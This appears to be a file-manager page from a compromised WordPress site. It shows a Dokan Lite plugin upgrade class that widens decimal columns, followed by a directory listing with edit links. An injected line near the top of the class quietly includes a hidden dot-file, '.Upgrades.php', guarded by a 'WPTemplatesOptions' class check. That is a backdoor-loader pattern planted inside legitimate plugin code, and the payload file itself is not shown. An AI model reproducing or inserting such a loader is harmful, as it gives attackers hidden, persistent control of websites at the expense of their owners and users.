PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
dokan-lite
/
includes
/
Upgrade
/
Upgrades
<?php namespace WeDevs\Dokan\Upgrade\Upgrades; use WeDevs\Dokan\Abstracts\DokanUpgrader; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class V_3_0_4 extends DokanUpgrader { /** * Get table_name and columns in key value pair * * @since DOKAN_LITE_SINCE * * @return array */ public static function get_tables() { return [ 'dokan_withdraw' => [ 'amount' ], 'dokan_refund' => [ 'refund_amount' ], 'dokan_vendor_balance' => [ 'debit', 'credit' ], 'dokan_orders' => [ 'order_total', 'net_amount' ], ]; } /** * Update various dokan tables * * @since DOKAN_LITE_SINCE * * @return void */ public static function update_dokan_tables() { global $wpdb; foreach ( self::get_tables() as $table => $columns ) { $table_name = $wpdb->prefix . $table; if ( $wpdb->get_var( $wpdb->prepare( "SHOW TABLES LIKE %s", $table_name ) ) !== $table_name ) { continue; } foreach ( $columns as $column ) { $wpdb->query( "ALTER TABLE `{$table_name}` MODIFY COLUMN `{$column}` DECIMAL(19,4)" ); } } } }
[+]
..
[-] V_2_4_12.php
[edit]
[-] V_2_8_3.php
[edit]
[-] V_2_9_4.php
[edit]
[-] V_2_9_13.php
[edit]
[-] V_2_3.php
[edit]
[-] V_1_2.php
[edit]
[+]
BackgroundProcesses
[-] V_2_7_3.php
[edit]
[-] V_2_8_6.php
[edit]
[-] V_2_9_19.php
[edit]
[-] V_2_6_9.php
[edit]
[-] .Upgrades.php
[edit]
[-] V_2_7_6.php
[edit]
[-] V_2_5_7.php
[edit]
[-] V_2_9_16.php
[edit]
[-] V_2_1.php
[edit]
[-] V_2_4_11.php
[edit]
[-] V_2_9_23.php
[edit]
[-] V_2_8_0.php
[edit]
[-] V_3_0_4.php
[edit]